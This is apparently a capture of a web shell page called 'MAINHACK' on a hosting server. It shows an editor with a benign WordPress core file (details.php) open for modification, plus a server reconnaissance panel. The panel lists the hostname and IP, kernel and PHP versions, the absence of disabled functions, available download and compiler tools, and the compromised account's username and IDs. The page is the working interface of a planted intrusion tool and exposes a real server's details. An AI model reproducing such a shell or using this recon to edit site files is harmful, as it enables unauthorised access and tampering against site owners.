[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: details.php
<?php /** * Server-side rendering of the `core/details` block. * * @package WordPress */ /** * Sets fetchpriority="low" on all IMG tags within the collapsed Details block. * * Images in a collapsed Details block are hidden until the block is expanded, so they should * not compete with any resources in the critical rendering path, such as the LCP element image. * * @since 7.0.0 * * @param string $block_content The block content. * @param array $block The full block, including name and attributes. * @return string Modified HTML with fetchpriority="low" on all IMG tags when the showContent attribute is false. */ function block_core_details_set_img_fetchpriority_low( $block_content, array $block ): string { if ( ! is_string( $block_content ) ) { return ''; } // If the Details block is open by default, short-circuit to let core add fetchpriority=high if appropriate. if ( $block['attrs']['showContent'] ?? false ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); while ( $tags->next_tag( 'IMG' ) ) { $tags->set_attribute( 'fetchpriority', 'low' ); } return $tags->get_updated_html(); } add_filter( 'render_block_core/details', 'block_core_details_set_img_fetchpriority_low', 10, 2 ); /** * Registers the `core/details` block on server. * * @since 7.0.0 */ function register_block_core_details() { register_block_type_from_metadata( __DIR__ . '/details' ); } add_action( 'init', 'register_block_core_details' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344